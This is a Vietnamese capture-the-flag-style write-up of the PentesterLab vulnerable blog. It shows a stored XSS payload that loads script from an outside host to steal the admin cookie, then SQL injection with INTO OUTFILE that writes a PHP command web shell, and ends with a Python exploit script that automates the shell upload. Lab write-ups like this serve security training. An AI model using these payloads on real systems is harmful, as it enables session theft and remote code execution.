Phân tích code
Trước tiên mình sẽ tiến hành phân tích code, trong source code cũng khá ít file.
Đối với file index.php
Mình thấy 1 đoạn $posts = Post::all();
để thực hiện lấy tất cả các bài viết có trong database.
Sau khi tìm kiếm thì đoạn trên nằm trong file classes/post.php
Tuy nhiên, đoạn code trên chỉ thực hiện query tất cả dữ liệu trong db ra. Ở phần này thì mình không thấy có gì để khai thác.
Với file cat.php
<?php
require "header.php";
$pics = Picture::all($_GET["id"]);
?>
<div class="block" id="block-text">
<div class="secondary-navigation">
<?php
foreach ($pics as $pic) {
?>
<div class="content">
<h2 class="title">Picture: <?php echo h($pic->title); ?></h2>
<div class="inner" align="center">
<p>
<?php echo $pic->render(); ?>
</p>
</div>
</div>
<?php
}
?>
</div>
</div>
<?php
require "footer.php";
?>
Mình thấy file này có get một ID tuy nhiên khi mình thử truy cập bằng trình duyệt thì file này báo lỗi ở hàm Picture, do hàm đó không tồn tại.
Mình tiếp tục đọc file post.php
<?php
$site = "PentesterLab vulnerable blog";
require "header.php";
$post = Post::find(intval($_GET['id']));
?>
<div class="block" id="block-text">
<div class="secondary-navigation">
<div class="content">
<?php
echo $post->render_with_comments();
?>
</div>
<form method="POST" action="/post_comment.php?id=<?php echo htmlentities($_GET['id']); ?>">
Title: <input type="text" name="title" / ><br/>
Author: <input type="text" name="author" / ><br/>
Text: <textarea name="text" cols="80" rows="5">
</textarea><br/>
<input type="submit" name="submit" / >
</form>
</div>
</div>
<?php
require "footer.php";
?>
Trong file này thì cũng có thực hiện get một biến ID tuy nhiên code đã sử dụng intval
nên việc SQL Injection là không được.
Mình thử xss tại biến ID tuy nhiên lại không được.
Trong code cũng có 1 đoạn như sau:
<form method="POST" action="/post_comment.php?id=<?php echo htmlentities($_GET['id']); ?>">
Thực hiện gửi comment cho post đó. Mình sẽ xem code file post_comment.php
<?php
$site = "PentesterLab vulnerable blog";
require "header.php";
$post = Post::find(intval($_GET['id']));
if (isset($post)) {
$ret = $post->add_comment();
}
header("Location: post.php?id=".intval($_GET['id']));
die();
?>
Các dữ liệu được gửi lên sẽ được hàm add_comment()
thực hiện lưu vào database.
function add_comment() {
$sql = "INSERT INTO comments (title,author, text, post_id) values ('";
$sql .= mysql_real_escape_string($_POST["title"])."','";
$sql .= mysql_real_escape_string($_POST["author"])."','";
$sql .= mysql_real_escape_string($_POST["text"])."',";
$sql .= intval($this->id).")";
$result = mysql_query($sql);
echo mysql_error();
}
Tuy nhiên, mình thấy các dữ liệu này không được validate => Điều này dẫn đến lỗi XSS
Từ đây mình có thể thực hiện Stored XSS để steal cookie của admin.
# Exploit XSS
Mình sử dụng https://xsshunter.trufflesecurity.com/ để thực hiện steal cookie admin với payload "><script src="https://js.rip/fltgu0p5df"></script>
Sau khi submit thì chờ admin truy cập vào phần comment là có thể lấy được cookie của admin
Sau đó mình có được cookie. Thực hiện thay cookie đó trên burpsuite mình được
# Phân tích admin code
Sau khi mình vào được admin, mình sẽ tiến hành phân tích code của trang admin để tiếp tục tìm kiếm lỗi có thể thực hiện RCE.
Trong file edit.php
<?php
require("../classes/auth.php");
require("header.php");
require("../classes/db.php");
require("../classes/phpfix.php");
require("../classes/post.php");
$post = Post::find($_GET['id']);
if (isset($_POST['title'])) {
$post->update($_POST['title'], $_POST['text']);
}
?>
<form action="edit.php?id=<?php echo htmlentities($_GET['id']);?>" method="POST" enctype="multipart/form-data">
Title:
<input type="text" name="title" value="<?php echo htmlentities($post->title); ?>" /> <br/>
Text:
<textarea name="text" cols="80" rows="5">
<?php echo htmlentities($post->text); ?>
</textarea><br/>
<input type="submit" name="Update" value="Update">
</form>
<?php
require("footer.php");
?>
Mình thấy $post = Post::find($_GET['id']);
biến id đang không được validate điều này có thể dẫn đến lỗi SQL Injecton.
Nhưng trước tiên mình xem hàm find trước đã
function find($id) {
$result = mysql_query("SELECT * FROM posts where id=".$id);
$row = mysql_fetch_assoc($result);
if (isset($row)){
$post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
}
return $post;
}
Trong hàm find cũng không có bất kỳ validate nào.
Khai thác SQL Injection
Mình thử với payload đơn giản '
thì nhận được thông báo lỗi
Ý tưởng của mình ở đây sẽ thử thực hiện sử dụng SQL Injection để lưu file trên server.
-1 union select 1,"<?php phpinfo()>",3,4 into outfile "/var/www/css/info.php"#
Mình có thể thực hiện lưu file nhưng có một lỗi ở đây
Khi mình view trên server thì thấy file được lưu đã các số trong select column nữa.
Mình sửa lại payload như sau:
-1 union select "<?php ","system($_GET['c'])",";"," ?>" into outfile "/var/www/css/cmd.php"#
Và sau đó mình có 1 shell
Và từ đây mình có thể download file https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php thực hiện reverse shell.
Code Exploit
import requests
import sys
r = requests.Session()
target_url = "http://192.168.40.155/"
attacker_ip = "192.168.40.69"
def getAdmin(cookie):
url = target_url+"admin/index.php"
cookie = "PHPSESSID={}".format(cookie)
header = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Cookie': cookie}
res = r.get(url, headers=header)
if res.text.find("Administration of my Blog"):
print("[+] Login Successful")
rce(r,head)
else:
print("[-] Login Failed")
sys.exit()
def rce(r,header):
url = target_url+"admin/edit.php?id=-1%20union%20select%20\"<?php \",\"system($_GET[%27c%27])\",\";\",\" ?>\"%20into%20outfile%20\"/var/www/css/cmd.php\"%23"
r.get(url, headers=header)
shell_url = target_url + "css/cmd.php"
request = r.get(shell_url)
if request.text.find("Notice: Undefined index:"):
print("[+] Shell uploaded at {}".format(shell_url))
else:
print("[-] Shell upload failed")
sys.exit()
if __name__ == '__main__':
cookie = ""
getAdmin(cookie)